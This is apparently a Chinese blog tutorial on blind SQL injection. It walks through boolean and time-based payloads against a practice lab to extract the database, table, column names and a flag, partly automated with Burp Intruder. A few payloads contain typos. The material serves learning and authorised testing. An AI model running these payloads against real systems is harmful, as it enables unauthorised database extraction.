盲注

解释:盲注就是有时候目标存在注入点,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称为盲注。

布尔盲注:布尔盲注很明显的True和False,也就是说它只会根据你的注入信息返回Ture或者False,也就没有了之前的报错信息。
时间盲注:界面返回只有一种True,无论通过输入任何值,返回情况都会按照正常的来处理,加入特定的时间函数,通过查看web页面范湖的时间来判断注入的语句是否正确。

1.布尔型

(1)length函数,返回字符串的长度

?id=1 and length(database())>1

(2)substr截取字符串,从第一位截取一个
substr(截取的内容,截取的位数,截取的个数) 这里与limit区分开

?id=1 and substr(database(),1,1)='k'   

**测试验证得知,database第一位就是k

(3)ord()/ascii() 返回字符串的ascii码

?id=1 and ord(substr(database(),1,1))>107  //不大于107
?id=1 and ord(substr(database(),1,1))>106  // 大于106
二分法判断,大于106正常,大于107不正常,说明为107
?id=1 and ord(substr(database(),1,1))=107

这里就刚好与substr的判断对上了,因为在ascii码表中,107对应的就是k,也就是说两种判断方法都是对的。

ascii(substr(database(),1,1))>1

但是总的来说,这样手工一个个来自己尝试浪费时间也过于太肝了,所以这里结合工具BurpSuite来辅助盲注。
抓包
修改包内容
攻击方式选择:Cluster Bomb

1.跑库名

关于Cluster bomb(集束炸弹模式)
集束炸弹模式跟草叉模式不同的地方在于,集束炸弹模式会对payload组进行笛卡尔积,如果用集束炸弹模式进行攻击,则除baseline请求外,会有四次请求:
payload:1
payload:2
说白了就是跑12位,每个位置都把ascii对应的表跑一遍,这里如何判断是否有无跑成功,就是去看页面回显的结果,从BurpSuite上的Intruder上就可以通过跑完的length来判断执行结果:
查看length差异
简单记录下:
第一位:107 第二位:97 第三位:110 第四位:119 第五位:111 第六位:108
第七位:111 第八位:110 第九位:103 第十位:120 第十一位:105 第十二位:97
对应ascii码表对比得出:kanwolongxia(得到库名)

2.跑表名

and length((select table_name from information_schema.tables where 
table_schema=database() limit 0,1))=6  # 如果返回正常,则说明第一个表长度是6

and substr((select table_name from information_schema.tables 
where table_schema='kanwolongxia' limit 0,1),1,1)='l' 
# 如果显示正常,则说明第一个表的第一位是l

第一位:108 第二位:111 第三位:102 第四位:108 第五位:97 第六位:103
对应ascii码表对比得出:loflag

3.跑字段名

and substr((select column_name from information_schema.columns where
table_name='loflag' limit 0,1),1,1)='i'
# 如果回显正常,则说明loflag表中的第一个字段是i

通过二分法得知在">1"和"=2"回显正常,则证明字段数为2,跑出来得知第一列列名为:id
第二列列名为:flaglo

4.跑内容

and ascii(substr((select flaglo from loflag limit 0,1),1,1)))=122
# 如果回显正常,则代表zKaQ列第一位是z

最后得到falg为:zKaQ-time-hj
在SQL注入挖SRC的时候,其实盲注挖到数据库就已经可以提交SRC了。

2.时间型

sleep()将程序挂起一段时间n为n秒
if(expr1,expr2,expr3)判断语句,如果第一个语句正确就执行
第二个语句如果错误执行就执行第三个句子

?id=1' and if(length(databse())8,1,sleep(5))-- +

这里拿靶场的第一道延时注入来做例子:

payload:id=1? "and 1=1 #     回显正常
payload:id=1? "and 1=2 #     回显正常

无论通过输入任何值,返回情况都会按照正常的来处理,加入特定的时间函数,通过查看web页面范湖的时间来判断注入的语句是否正确。
这里就不能用条件语句来判断了,因为不论判断语句为如何,都回显正常

这里就是用sleep()函数
if(条件,条件成立执行,条件不成立执行)

and if(length(database())=12,sleep(5),1) -- qwe   页面明显延时回显
# 说明数据库名字长度就是12

后面测试一次按照逻辑进行即可,后续我用靶场的几道题来练习一下。

最后修改:2022 年 03 月 19 日 08 : 29 PM
如果觉得这篇文章不错,不妨赏我碎银几两。